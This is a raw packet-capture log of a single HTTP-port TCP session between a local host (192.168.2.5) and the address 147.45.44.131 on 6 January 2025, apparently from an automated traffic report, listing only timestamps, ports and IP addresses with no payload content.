Jan 6, 2025 07:59:03.278402090 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.278405905 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278415918 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278425932 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.278428078 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278439999 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278446913 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.278465033 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.278484106 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278495073 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278503895 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278516054 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278527021 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278528929 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.278537035 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278563023 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.278563023 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.278570890 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278585911 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278598070 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278609991 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278620958 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278636932 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.278666019 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.278666019 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.278688908 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278700113 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278712034 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278723001 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278749943 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278762102 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.278764963 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278789997 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.278800964 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278811932 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278821945 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278822899 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.278831959 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278842926 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278855085 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278863907 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.278866053 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278892994 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.278892994 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.278928041 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278939009 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278949022 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278964996 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278983116 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278990984 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.278990984 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.278994083 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279010057 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279015064 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279017925 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279031038 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.279114008 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.279124975 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279135942 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279146910 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279158115 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279170036 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279171944 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.279181957 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279192924 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279197931 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.279203892 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279225111 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279227972 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.279234886 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279246092 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279248953 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.279257059 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279266119 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.279268026 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279279947 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279304028 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.279367924 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.279386044 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279397011 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279407024 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279417038 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279438972 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279444933 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.279448986 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279459000 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.279463053 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279474020 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279485941 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279491901 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279495955 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.279504061 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279515028 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279525995 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279525995 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.279537916 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279548883 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279556990 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.279556990 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.279577017 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279587030 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279597998 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279602051 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.279624939 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.279670000 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279683113 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279692888 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279697895 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.279704094 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279715061 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279726028 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279728889 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.279752016 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.279784918 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279794931 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279805899 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279809952 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.279818058 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279829025 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279829979 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.279840946 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279851913 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279854059 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.279863119 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279875040 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.279887915 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.279896975 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.319611073 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.368309975 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.368334055 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.368345022 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.368356943 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.368398905 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.368411064 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.368431091 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.368431091 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.368442059 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.368454933 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.368482113 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.368514061 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.368525028 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.368535042 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.368539095 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.368546963 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.368567944 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.368593931 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.368627071 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.368637085 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.368647099 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.368658066 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.368669033 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.368674040 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.368679047 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.368686914 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.368691921 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.368700981 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.368711948 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.368726969 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.368737936 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.368741035 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.368747950 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.368773937 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.368783951 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.368793964 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.368793964 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.368793964 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.368804932 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.368814945 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.368827105 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.368829966 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.368850946 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.368874073 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.368895054 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.368906021 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.368915081 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.368933916 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.368937969 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.368946075 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.368956089 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.368966103 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.368977070 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.368980885 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.368999004 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.369004011 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369014978 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369025946 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369043112 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.369045019 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369054079 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.369055033 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369081974 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.369147062 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369158983 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369168997 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369179964 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369191885 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369203091 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369214058 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.369215012 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369223118 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.369229078 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369297981 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369308949 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369318008 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369323969 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.369329929 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369338989 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.369340897 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369352102 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369354010 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.369363070 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369370937 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.369448900 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369467020 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369477034 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.369477987 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369488955 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369498968 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369509935 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369520903 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369523048 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.369539976 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369544029 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.369544029 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.369579077 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369590044 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369600058 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.369601011 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369618893 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369628906 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369628906 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.369641066 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369653940 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369656086 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.369663000 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369676113 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369688988 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369700909 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369708061 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.369708061 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.369713068 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369724035 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.369724989 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369745970 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.369793892 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369806051 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369816065 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369828939 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369848967 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.369848967 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369862080 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369909048 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369919062 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369929075 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369934082 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.369942904 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369954109 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369963884 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369967937 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.369967937 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.369976997 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369987965 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.369997978 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.370002031 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.370008945 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.370023966 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.370066881 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.370078087 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.370086908 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.370090008 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.370098114 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.370109081 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.370112896 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.370126009 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.370129108 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.370137930 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.370150089 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.370151997 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.370166063 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.370176077 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.370187044 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.370193005 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.370197058 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.370207071 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.370208979 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.370220900 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.370233059 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.370250940 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.370271921 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.370284081 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.370300055 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.370311022 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.370321035 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.370333910 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.370333910 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.370348930 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.370358944 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.370359898 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.370383978 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.387471914 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.458916903 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.458945990 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.458956957 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.458966017 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.458977938 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.458988905 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459002018 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459012032 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459023952 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459033966 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459047079 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459059954 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459069014 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459076881 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.459079981 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459125042 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459132910 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.459132910 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.459135056 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459145069 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459156990 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459189892 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459192991 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.459192991 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.459199905 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459208012 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459218025 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459228039 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459243059 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459254026 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459263086 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459269047 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.459269047 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.459274054 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459278107 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.459353924 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459364891 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459372997 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459377050 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.459383011 CET	80	49706	147.45.44.131	192.168.2.5
